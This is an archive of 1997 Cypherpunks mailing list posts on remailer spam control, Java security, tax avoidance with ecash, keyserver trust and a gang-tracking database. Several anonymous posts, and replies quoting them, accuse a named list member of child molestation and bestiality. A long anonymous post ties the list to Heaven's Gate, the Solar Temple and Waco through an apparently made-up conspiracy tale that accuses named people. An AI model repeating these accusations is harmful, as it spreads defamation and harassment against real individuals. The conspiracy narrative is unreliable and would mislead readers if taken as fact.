From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 29 Mar 1997 16:10:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: remailer spam throttle
In-Reply-To: <199703291126.LAA00386@server.test.net>
Message-ID: <88Lc5D5w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back <aba@dcs.ex.ac.uk> writes:
> Dimitri Vulis <dlv@bwalk.dm.com> writes:
> > Adam Back <aba@dcs.ex.ac.uk> writes:
> > > [encrypt the message and send the recipient the key, discard the
> > > key, when they request the message they supply the key]
> >
> > That's a good idea, but it'll take up a lot of disk space at the
> > machine running the remailer.  Right now, remailers that provide
> > latency don't keep an e-mail for more than about 12 hours. Once
> > you start keeping them around for a few days (a reasonable grace
> > period for a first-time user), it's a lot more disk space.
>
> "Disk is cheap."  I just bought a 3.8Gb quantum for $300.  That's 4
> times cheaper Gb/$ ratio than last disk I bought a year ago.

I paid over $700 for a 2GB disk about 18 mos ago. Yes, disk prices
are falling through floor - giving the lie to the scum that tries to
control Usenet "spam" - but is it really worth it to have to maintain
a huge spool space to support a remailer? If you really think you can
afford a few GB of extra disk storage, start up a Usenet site of virtue.

> 1Gb encrypted message pool?  No problem.
>
> Don't have the resources for the 1Gb disk?  Your ISP will be charging
> you many times that for your leased line.
>
> If it's an issue charge postage to cover your storage and transmission
> costs.
>
> However, I suppose if you're using an ISP shell account, and have no
> leased line, you may have more space restrictions.

It should be possible to run a remailer on an average $19.95/mo shell
account.  Most of them come with a disk quota of a couple of megabytes.
I do think that keeping a lot of mail in the queue (more than is kept
by the remailers that use latency now) would make such accounts
unsuitable for remailers.

> A better idea, (for both ISP shell account and leased line version)
> would to send the recipient the encrypted data, you keep the key :-)
>
> (View it as a secret split where the parts happen to be different
> size, you keep the small one).
>
> They send you the data and you decrypt, send it back and discard the
> key.  You could store 16 million keys on your 1Gb remailer spool
> partition.  That 16 million keys would represent 16 Gb of delivered
> encrypted email.
>
> You could still cope with a fair number of messages in 1Mb remailer
> key spool in your home file space on an ISP based shell account.
>
> I think this solves remailer resource objections.

yes, this sort of solves the storage problem.

Thinking how this might work...

Alice's remailer gets an e-mail for Bob.

Alice's remailer generates 2 pseudo-random numbers, K and L, and uses
K to encrypt the message with a symmetric cryptoscheme.

Alice's remailer sends the encrypted message and L to Bob with the following
note: if you want to receive the key to decrypt this message, send back L and
acknowledge the disclaimer.

Alice's remailer retains the triple (K,L,Bob). Because it's small, it can
be kept for a long time.

If Bob sends back L, the remailer sends Bob K so he can read his message.

I see a few problems with this. I'm sure it can be improved.

1. What if Bob is another remailer, unknown to Alice?

2. What if Bob doesn't have the program to decode his message? (It's
fair to assume that everyone can fine PGP. It's not fair to assume that
everyone can find e.g. triple DES.)

3. What if the LEA's decide that the collection of triples on Alice's
computer is worth looking at, for instance, for the list of addresses.
(OK, they could be encrypted probably.)

4. What if the LEA's decide to find out how K, L are generated?

> You still have the problem of saturation of your network bandwidth.
> You can probably encrypt (it's symmetric key, say IDEA) fast enough
> for encryption overhead to be less of a problem than the saturation of
> the bandwidth of your leased line.

I think IDEA or triple DES would be fast enough for this.

> Your other problem is user acceptance -- your average user may still
> object to receiving Mb's of junk which while the contents don't offend
> him (he can't read it), the sheer volume may annoy him.

Given how some people react very negatively to what they consider
"unsolicited e-mail", I think it might be a bad idea to send them
large encrypted messages w/o confirming that they want them. But
it's also a bad idea to keep an unknown's e-mail on the remailer.
The only way out, IMO, is to *discard* an unknown's e-mail and to
tell him what positive action he can take so future e-mails don't
get discarded.

And by the way: a remailer should probably keep a list of people
who have been told about the need for a positive action, so they
won't get duplicate notices more than every week or so. If X
sends Y 10 e-mails and the remailer sends Y 10 identical notifications
with the instructions how to enable receipt, Y might get justifiable
upset.

When Alice's remailer gets an e-mail for Bob, it should do
something like:


          try to fetch Bob's public key
          from a well-run key server
            /                    \
         success               failure
           |                      |
      encrypt the e-mail      discard the
      with bob's key and      e-mail!
      pass it to Bob              |
                              was the form
                              letter sent to
                              Bob in the last
                              7 days?    \
                             /            no
                           yes              \
                          /                exit
                    send bob the
                    form letter


Wow, isn't that a perry flow chart. :-)

...
> > Suppose a LEA wants to search the computer hosting the remailer.
> > They come across a bunch of encrypted files.
> > The operator has to convince the LEA that they don't have the means
> > to decrypt the e-mails or even to figure out who they're from.
>
> Well you can't can you?

It may be hard to prove a negative to a LEO who doesn't know what
the hell you're talking about. You have a file in your spool that
was encrypted with a key that your program generated, but now you
no longer have the key? Well, tell us how the key was generated.

...
> I agree with what you're saying that technological aptitude can
> provide some metric of cluefullness.  And that cluefullness usually
> correlates with good net citizenly behaviour (eg understanding what a
> remailer is, and not legally threatening, or setting the Feds on to
> the human owner of a bot.
>
> However there exist quite a few counter examples: cluefull people who
> do not use PGP, or consider it to be too much hassle (quite a lot of
> them hang out on cypherpunks, and will actually object if you send
> them encrypted email, even though spending most of their time on
> cpunks arguing about the usefulness and essentiality of these tools
> for privacy).

Well - if generating and publishing a PGP key were a requirement
to be able to receive anonymous e-mail, I'm sure they'd do it.
Some people (like Dale) legitimately question certain uses of PGP, but
I think in this case it's worth encouraging its use.

> Also some journalists are pretty clueful (or useful to be able to send
> information too, shall we say, journalists as a group having a bad
> rep), and not many can handle PGP.

Hmm - I'm sure John Markoff and even Declan can handle PGP.
If, for example, Jon Schwartz can't handle PGP (and I don't know
whether he can :-), then he doesn't deserve any anonymous tips.
Free market in action.

Later - thanks a lot for the extensive comments.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sat, 29 Mar 1997 18:04:28 -0800 (PST)
To: Anonymous <nobody@replay.com>
Subject: Re: [ANNOUNCEMENT] Cyclic codes
In-Reply-To: <199703300035.BAA18087@basement.replay.com>
Message-ID: <Pine.A41.3.95.970329185941.98012A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 30 Mar 1997, Anonymous wrote:
Vulis give it a rest get a boy friend.

> Timmy `C' Mayonnaise sexually molests little children, farm 
> animals, and inanimate objects.
> 
>    o-:^>___? Timmy `C' Mayonnaise
>    `~~c--^c'
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sat, 29 Mar 1997 19:58:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Microsoft ammunition
Message-ID: <3.0.32.19970329195447.0068b5c8@netcom9.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:49 PM 3/28/97 -0800, Bill Frantz wrote:
> Whether your personal files are stored on a
>local disk or on a server doesn't matter.  What matters is whether random
>downloaded code (again, Java or ActiveX doesn't matter) can use your
>authority to read/modify those files.  The ActiveX model of, "It's signed
>by XYZ Corp.  Of course it's safe." is so much bullshit.*  The Java
>approach of running untrusted code in a safe box is better, but doing it by
>validating the safety of object code requires trusting a large complex
>verifier.

JavaSoft has moved into the right direction. Their JECF is largely
capabilities based and in fact, Java security in general in moving towards
capabilities. That won't help you against attacks via the underlying
insecure OS, such as Windows 95/NT, MacOS, or UN*X which the typical user
will be running, but it is miles ahead of the initial sandbox model.

>* See Norm Hardy's paper, "The Confused Deputy", which I believe is still
>available through the EROS page at the University of Pennsylvania.

I was a talk by Norm that made me see the light. Secure computing requires
capabilities. And there is anecdotal evidence that it was Norm who
indirectly pointed JavaSoft to the solution to their leaking sandbox problem.

Time for my usual plug: if you are unfamiliar with capabilities based
operating systems or don't know why they are the only currently available
solution to a whole host of computer security problems, do a search for
"KeyKOS". It should get you started.



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 29 Mar 1997 11:19:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: Hard to Tax Scenario  (fwd)
Message-ID: <199703291918.UAA08038@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


For my views on taxes see
http://www.law.miami.edu/~froomkin/articles/arbitr.htm      


A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law | "Cyberspace" is not a place.
U. Miami School of Law     | 
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Sat, 29 Mar 1997 22:12:51 -0800 (PST)
To: Robert Hettinga <cypherpunks@toad.com
Subject: RE: Hard to Tax Scenario
Message-ID: <3.0.32.19970329214555.006f24d0@netcom9.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:24 PM 3/29/97 -0500, Robert Hettinga wrote:
>(By the way, I'm going to embarass Doug Barnes now by naming a law after
>him. He said a thing of beauty at FC97: "Any transaction protocol which
>has, as one of it's steps, '...and then you call the cops', isn't a real
>good idea on the internet." Shall we call it Barnes' Law, anyone? Sure,
>lots have said it before, but no one's said it better...)

Actually, I think it was "...and then you punish them". I second the motion.
:-)



-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 29 Mar 1997 20:02:59 -0800 (PST)
To: Hal Finney <cypherpunks@toad.com
Subject: RE: Hard to Tax Scenario
In-Reply-To: <199703300144.RAA01396@crypt.hfinney.com>
Message-ID: <v03020935af638549535a@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain


At 8:44 pm -0500 on 3/29/97, Hal Finney wrote:

> I think Robin's example of an anonymous doctor is a bit extreme,
> since doctors typically do hands-on work.

Ain't quite so far-fetched as it looks. At the ACM 50 year thing a bit ago,
they were doing telemedical diagnoses. The Army has a teleoperated
meatball-surgery system for battlefields. Onion routed surgery, anyone?

> Yes, I think there is general agreement that these methods will not work
> well for large businesses.  Another issue is the requirement to keep
> fraudulent records, etc., which may involve a large number of people in
> the conspiracy.

Right, but, in a <ducking> geodesic </duck> market, large entities dissolve
anyway because (another of my wildly unsubstantiated claims) large firms'
internal transfer pricing efficiencies aren't any higher than those of the
open market.

> I gather that similar dodges are employeed today by wealthy lawyers and,
> yes, doctors, to hide some of their income.  They hire offshore companies
> to perform some services, which are actually under their control via
> shell corporations, trusts, etc., set up in banking-secrecy jurisdictions.
> Presumably crypto could smooth the way somewhat and open these methods
> up to more people, but I don't see it as a particularly essential ingredient.

I think, soon enough, we're all going to be sole proprietors of some kind,
transacting business on our own behalf on the net, and cash will always
king in that kind of world. Frankly, corporations have no way to hide, or
they would. Heck, when you think about it, corporations, as legal entities,
anyway, can't survive in an environment where laws can't work, anyway.

(By the way, I'm going to embarass Doug Barnes now by naming a law after
him. He said a thing of beauty at FC97: "Any transaction protocol which
has, as one of it's steps, '...and then you call the cops', isn't a real
good idea on the internet." Shall we call it Barnes' Law, anyone? Sure,
lots have said it before, but no one's said it better...)


> These all assume a model where the transaction is open, but where the
> ownership issues are hidden.  However I think we have been talking about
> simpler methods, where the fact of the initial income is what is hidden.

Right. Or, if the income is actually earned and spent on the net. There,
cash is the best payment method because it settles instantly without the
recordkeeping overhead --  much less the indirect cost of law-enforcement
:-).


> Or she takes some work on the side
> via an anonymous network, and the cash goes straight into her pocket.

Oops. I shoulda read further, I guess. :-).

> If receipt-skimming is facilitated by the untraceable nature of ecash,
> then presumably sales tax can be under-reported as easily as income tax.

Or capital gains, or any other book-entry tax.


> I don't know how or whether crypto could help with the more elaborate
> techniques you are really asking about, dummy trading partners and such.
> If you're really paying taxes on your gross receipts, then presumably
> the only way to save is to hide those receipts.  You could do this by
> taking some fraction of your work anonymously, even if most of your
> income is reported.

I think of this stuff at the boundry between cypherspace and meatspace as
the equivalent of turbulence. And, as the joke goes, turbulence is a hard
problem.  :-).

However, I do know that as it becomes more and more easy to buy and hold
assets on the net, particularly financial assets (the largest category
thereof) and, someday, maybe even actual meatspace-physical *stuff*, this
problem, like that of punching through the turbulence at the sound barrier,
or that any other "barrier" for that matter, will be not such a big deal.
(Another paragraph of Proustian proportions, that...)

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 29 Mar 1997 20:04:21 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: PSYOPS/infowar
In-Reply-To: <3.0.1.32.19970329183020.006ef368@postoffice.pacbell.net>
Message-ID: <v0302093aaf638e396ccb@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain


This is surely going to piss some people off, but let's some fun with this,
shall we?

At 9:30 pm -0500 on 3/29/97, Greg Broiles wrote:

> According to Ronald Duchin, graduate of the US Army War College and
> former special assistant to the Secy of Defense and director of the
> Veterans of Foreign Wars, activists fall into one of four categories:
> radicals, opportunists, idealists, and realists. He recommends a
> three-step strategy to neutralize activists:
>
> 1.	isolate the radicals

Tim May
Kelly Goen
Phil Zimmermann (then)
Belize, say

> 2.	"cultivate" the idealists

CFP (a virtual terrarium :-))
EFF (agrabiz!)
Phil Zimmermann (now)
Eric Hughes
Michael Froomkin
Any cypherpunk who's actually making money on this stuff :-).
Anguilla
Vanuatu
Me ;-)

> 3.	co-opt the realists into agreeing with industry

RSA
Mondex (a little hand-biting here, on my part)
x.blabla
SET-folk
David Chaum
Hong Kong
Indonesia
The Phillipenes

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sergey Goldgaber <sergey@el.net>
Date: Sat, 29 Mar 1997 20:48:26 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: remailer spam throttle
In-Reply-To: <g5Fc5D4w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.95.970329232929.142F-100000@void.el.net>
MIME-Version: 1.0
Content-Type: text/plain


On Sat, 29 Mar 1997, Dr.Dimitri Vulis KOTM wrote:

-> Sergey Goldgaber <sergey@el.net> writes:
-> >
-> > Unfortunately, key servers can not be trusted.  I'm sure you're aware that
-> > anyone can submit a key, and thus forgeries abound.
-> >
-> > If the above model is adopted, key servers will be the first target of
-> > the prospective spammer.
-> 
-> Why Sergey, you mean to tell me that there are key servers out there that
-> accept a key from a purported address and don't send back a cookie to that
-> address to see if it's not fake? :-) That's just terrible. Definitely no
-> key coming from such a server should be trusted. :-) :-)
-> 
-> Today is March 29, 1997 - almost April 1st. The Internet ain't what is
-> used to was 15 or 10 or even 2 years ago. If you get an e-mail that
-> purports to be from X, and it requests that you add X's public key
-> to your key server, or (un)subscribe X to a mailing list, or
-> block X from receiving anonymous e-mail - it may be a forgery.
-> Never act on such requests without trying to authenticate them
-> with a cookie.

DNS maps can easily be forged.  Key servers run on machines with questionable 
physical and operating system security.  Finally, key server ops themselves
can mess with keys.

This is why people who use keys off of keyservers are encouraged to verify
the key via it's key fingerprint, or at via the web of trust.

However, this can not be done via automation on a large scale for the purpose
of address blocking, unless via a certification authority.

The bottom line is that keyservers can not be trusted, despite any primitive
security measures they supposedly have in place.


 ............................................................................
 . Sergey Goldgaber <sergey@el.net>      System Administrator        el Net .
 ............................................................................
 .   To him who does not know the world is on fire, I have nothing to say   .
 .                                                      - Bertholt Brecht   .
 ............................................................................





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 30 Mar 1997 01:34:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [IMPORTANT] PRNG
Message-ID: <199703300934.BAA15553@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy May digs into his cesspool of a mind for his mailing list 
fertilizer.

                _
               / '
              |
           /><oo><\  Timmy May
          //[ `' ]\\





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 29 Mar 1997 16:38:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: [ANNOUNCEMENT] Cyclic codes
Message-ID: <199703300035.BAA18087@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy `C' Mayonnaise sexually molests little children, farm 
animals, and inanimate objects.

   o-:^>___? Timmy `C' Mayonnaise
   `~~c--^c'





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sun, 30 Mar 1997 07:32:55 -0800 (PST)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: [IMPORTANT] PRNG
In-Reply-To: <199703300934.BAA15553@fat.doobie.com>
Message-ID: <Pine.A41.3.95.970330082913.32426A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 30 Mar 1997, Huge Cajones Remailer wrote:

Vulis what a sick mind.

> Timmy May digs into his cesspool of a mind for his mailing list 
> fertilizer.
> 
>                 _
>                / '
>               |
>            /><oo><\  Timmy May
>           //[ `' ]\\
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 30 Mar 1997 08:50:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Heaven's Cypherpunks
Message-ID: <199703301650.IAA24024@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



   If you like weird connections, how about a Cypherpunks-Heaven's Gate
link?  If you like really weird connections, how about a Cypherpunks-
Heaven's Gate-Solar Temple link?  If you like really, really weird
connections, how about a Cypherpunks-Heaven's Gate-Solar Temple-
Waco link?
   Lest you think I jest, let me explain that what I am about to tell
you
is fairly easy to verify and document, and is not based on vague
allusions
to some psychic vibrations from the comet, which seem to be rather
commonplace lately.

   In the early 1970's there was a small group in Canada, known as the
Bartonian Metaphysical Society.  The group was joined by an individual
named C.J. Parker, who had just had his first experience of "the end of
the world" as a member of Herbert W. Armstrong's Worldwide Church
of God.
    Parker became a teacher and leader in the group, which soon became
the Institute for Applied Metaphysics, with metaphysical retreats in
Saskatchewan, Ontario and Quebec.  There were often UFO reports
surrounding the dates of their intensive seminars in Eastern Canada,
which received press coverage, I believe.  
   Parker was involved, according to both himself and many others,
in the founding of the New Covenant Club during his involvement
with IAM.  This was centered around the belief that the "old
covenant" with God, which involved circumcision, had now been
replaced with a "new covenant," which involved vasectomies.
   Later, some of the Eastern leaders began indicating that if
vasectomies were a good way of indicating one's dedication to
spirituality in the end-times, then castration was even better.
 
    Parker was soon involved in a second "end of the world" when
Winifred Barton made her prediction in the mid-to-late 1970's.
After her prediction appeared (to some) not to come true, then many
left the group and quite a few migrated to other groups, including
the Solar Temple.
   Parker migrated to Texas, where he was involved in the music
business, and in running clubs for mob interests.  He managed clubs
in Waco and Killeen, Texas, where he apparently became involved
with David Koresh, although that might have been at a later date.
    He was arrested and convicted in Bell County, Texas for assault 
on police officers there, sometime around 1980.
    Parker became a recording artist and soon afterward moved
to Tucson, Arizona, where he continued to dabble in music and
metaphysics, travelling across the SouthWestern U.S., as well as
up and down the west coast.

   He started a computer company in Tucson, called "Pearl Harbor
Computers," which was based on the belief that computers were
the work of Satan, that Bill Gates and Microsoft were tenacles of
the Satan, and that those who wished to fight evil must dedicate
themselves to promoting other operating systems, UNIX in 
particular.
  Parker apparently fathered an organization called the "Circle of
Eunuchs" that was dedicated to recruiting individuals who had
the skills and the intelligence to develop systems and methodologies
which could serve to work against what he saw as the plans of
Satan to bring domination over the whole earth 
   At various times, he has had vehicles registered in the states which
were his main recruiting area: Texas, Arizona, California, New
Mexico, and Oregon. (He also made limited recruiting trips to
Germany, Poland, and, I believe, Russia.)

   Parker spent time in California where he was in contact with Do,
who shared his fetish for mixing computers and spirituality, and it
was apparently Parker who introduced him to the concepts underlying
the New Covenant Club.  Parker and Do also shared an affinity for
mixing spirituality and alien theories, and decided that the Internet
was going to be the battleground of the future in the fight between
good and evil.
   Parker was also involved with a group in Berkeley, California,
Basis, Inc., which was heavily involved in a Unix time-sharing
enterprise and gave Parker access to a wide variety of young
students and programmers to introduce to his belief system.
   Parker named the evil protagonist in the manuscript after the
login name for one of Basis' founders, "Gomez."  Parker wrote
the book under the pseudonym of "son of gomez," as Basis'
Gomez was his mentor in the world of UNIX.

   Parker was responsible for a manuscript titled "The Xenix
Chainsaw Massacre" that contained a character, Bubba Rom Dos,
which was loosely based on Do, including veiled references to
his sexual inclination toward youngsters.  Among those in the
Circle of Eunuchs, it was also referred to as Part I of "The True
Story of the Internet," which they foresaw as the vehicle that 
would prove the manuscript prophetic.
   Parker and his tenacles used the Internet to quietly spread the
manuscript among those thought to be potential recruits, even as
Do's group began making their impact on the Internet.
   Parker believed that Phil Zimmerman's troubles were a result
of his group using Zimmerman's PGP to spread the manuscript
secretly across the Internet.  He apparently impressed upon Do
the need to use PGP to secure any communications which were
of a nature that they could cause undue trouble for groups which
were working against Satan and Gates.

   Parker's second manuscript, Part II , began as "TV World" and
later was changed to "WebWorld and the Mythical Circle of Eunuchs."
   This manuscript was apparently supposed to be converted to
hypertext, with complete graphics, by Higher Source, and several
chapters were in the works, but about a week before the El Rancho 
suicides, Parker was told that he should go ahead and release it in
its present form, because Higher Source would not be in a position
to complete the work.

   Parker began converting the second manuscript to hypertext himself
and has had members of his organization releasing it on the Cypherpunks
list.  Chapters of the manuscript have been released from various points
in the U.S., Canada, the U.K., and Russia.
   Although the manuscript had already been completed around a year
before this, Parker, after receiving word to begin its release, began 
making _changes_ in the manuscript, apparently as a result of no longer
having a need to so heavily disguise the connection between the Circle
of Eunuchs and Do.
   A prologue was written for "WebWorld," sent to the Cypherpunks list
on March 18, 1997, in which the opening strains contained the
quote, "Why didn't I _do_ something?"  The word "do" was in bold
hypertext.
   Then, the next word in bold format was the word _me_, indicating
that the first bold word should be pronounced as in the musical notes,
do, re, me.
   The sentence containing the world _me_?  It was a reference to Do
soon
being 'picked up,'
   "This time, they are coming for _me_."
   And the new opening sentence of the manuscript?  A veiled reference
to the fact that those left behind had been warned of their last chance
to 'escape' the fate that awaits them.
"The great tragedy of it, is that it didn't have to happen.  Not at
all...
we were warned."

The URL's of the manuscripts are:
http://bureau42.base.org/public/webworld/
http://bureau42.base.org/public/xenix/xenbody.html  

   They are apparently hosted by David E. Smith <dsmith@prairienet.org>
I don't believe that he is a member of Parker's inner circle, although
he
does have many connections to hackers and phreaks in the Edmonton,
Alberta area.
   Except for the prologue, the sections of the original manuscript seem
to be in small print, with the newly written sections in large print. 
The
new sections appear to use the Cypherpunks as analogous to the space
aliens, and a new character, Jonathan, representing one of the Heaven's
Gate members, is added.
   "He rode the river of tears once again, only this time the journey
was
_toward_ the CypherPunks, and toward freedom."

   It is my understanding that the "Magic Circle" is quite active in
both
Western Canada and the Southwest U.S.  They seem to be a very secretive 
organization with ties to a number of groups, including the Solar Temple 
cult in Quebec, and a Diamond System (?) Freudian-Sufi sect centered in 
the Bay area.

   I dropped all involvement with these people a year or so ago, as I 
decided that involvement with them is unhealthy.  I hope that you will
make an effort to check out what I have told you, and perhaps expose
any activities which could lead to more deaths and castrations.
   I don't want to be involved with anything further to do with them,
as I am uneasy about being connected with them in any way, shape,
or form, although I still keep track of their activities through certain
members who are on the periphery of their organizations.
   C.J. Parker is a nome-de-plume he took on as a musician, and I can't
recall his real name, but it shouldn't be too difficult to find, given
the
fact that he has a criminal record in the U.S. which should link the
pseudonym with his birth name.  He also might be located by tracking
him through his record releases, which were done in Canada, I believe.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Brad Dolan <bdolan@USIT.NET>
Date: Sun, 30 Mar 1997 07:13:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: National Citizen-Unit Tracking Database coming soon
Message-ID: <Pine.GSO.3.95.970330101255.24575F-100000@use.usit.net>
MIME-Version: 1.0
Content-Type: text/plain


National Citizen Dossier System Being Quietly Set Up

That's what the headlines should be saying, anyway.  Instead
they're saying things like:

     (_Knoxville Journal_, 3/27/97)

     Governor's Budget Includes Money to Set Up Gang-Tracking
     Network

     [...]

     [A]s part of the governor's anti-gang proposals, he's
     proposing to spend $625,000 worth of state and federal money
     to set up a gang-tracking computer database and network.

     Four agents of the Tennessee Bureau of Investigation will be
     assigned to do nothing but gather and maintain information
     about gangs in the state's four regions.

     They will analyze and compile the information on computer
     for dissemination throughout the state, the Southeast, and
     the nation - but not for public use.

     Law enforcement agencies will be able to use it and update
     it.

     Information on the database could include a picture, a
     description, the gang affiliation, criminal convictions,
     crimes that a person is suspected in, and possible
     nicknames.

     [...]

Other press reports have indicated that the database will include
"domestic terrorist groups" and will incorporate a great deal of
additional data, such as a roster of vehicles which should be
given special attention at the now-innumberable roadblocks and
checkpoints.

The important thing to note is that - as I understand the
description of the program -  a person does not have to commit a
crime to be included in the database.  They just have to have
contact with a person or group which is already in it.

Didn't somebody named Jospeh McCarthy get himself in trouble over
this kind of thing?

bd








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Sun, 30 Mar 1997 07:30:43 -0800 (PST)
To: shamrock@netcom.com (Lucky Green)
Subject: Re: Hard to Tax Scenario
In-Reply-To: <3.0.32.19970329214555.006f24d0@netcom9.netcom.com>
Message-ID: <199703301526.KAA02522@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


When i asked Doug for the details...

>The version I prefer is "It's a major sign of weakness when your 
>payment protocol includes 'and then we have you arrested' as a
>terminating state."

I tend to corrupt this to "'And then the cops show up' is a bad step
to include in your protocol."  Its a wonderful insight.

Adam


Lucky Green wrote:
| At 10:24 PM 3/29/97 -0500, Robert Hettinga wrote:
| >(By the way, I'm going to embarass Doug Barnes now by naming a law after
| >him. He said a thing of beauty at FC97: "Any transaction protocol which
| >has, as one of it's steps, '...and then you call the cops', isn't a real
| >good idea on the internet." Shall we call it Barnes' Law, anyone? Sure,
| >lots have said it before, but no one's said it better...)
| 
| Actually, I think it was "...and then you punish them". I second the motion.
| :-)


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Sun, 30 Mar 1997 10:35:36 -0800 (PST)
To: Robert Hettinga <cypherpunks@toad.com
Subject: Re: PSYOPS/infowar
Message-ID: <199703301835.KAA13744@mail.pacifier.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:47 PM 3/29/97 -0500, Robert Hettinga wrote:
>This is surely going to piss some people off, but let's some fun with this,
>shall we?
>
>At 9:30 pm -0500 on 3/29/97, Greg Broiles wrote:
>
>> According to Ronald Duchin, graduate of the US Army War College and
>> former special assistant to the Secy of Defense and director of the
>> Veterans of Foreign Wars, activists fall into one of four categories:
>> radicals, opportunists, idealists, and realists. He recommends a
>> three-step strategy to neutralize activists:
>>
>> 1.	isolate the radicals
>
>Tim May
>Kelly Goen
>Phil Zimmermann (then)
>Belize, say

I'm PISSED!  Ya forgot me!!!  B^)


Jim Bell
jimbell@pacifier.com




